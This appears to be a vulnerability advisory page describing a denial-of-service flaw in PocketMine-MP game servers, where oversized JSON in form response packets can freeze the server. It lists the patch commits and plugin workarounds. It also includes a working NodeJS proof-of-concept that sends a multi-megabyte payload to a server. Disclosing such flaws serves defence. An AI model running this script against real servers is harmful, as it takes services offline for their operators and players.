Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-788v-5pfp-93ff

HighCVSS 7.1 / 10
Published Apr 6, 2026·Last modified Apr 6, 2026
Affected Components(0)

No affected components available

Description

Impact

The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

Patches

The issue was fixed in two parts:

  • cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
  • f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

Workarounds

This issue can be worked around in a plugin using DataPacketReceiveEvent by:

  • checking the max size of the formData field
  • making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.

PoC

  1. Join a PocketMine-MP server as a regular player (no special permissions needed).

  2. Use a modified client or packet-sending script to send a ModalFormResponsePacket with:

    • Any non-existent formId
    • formData containing a massive JSON array (e.g., 10+ MB payload).
  3. The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'Test';

const client = createClient({
  host,
  port,
  username,
  offline: true
});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');

  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });

  console.log('[*] Packet sent. The server should start freezing shortly.');
});
Risk Scores
Base Score
7.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
4.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard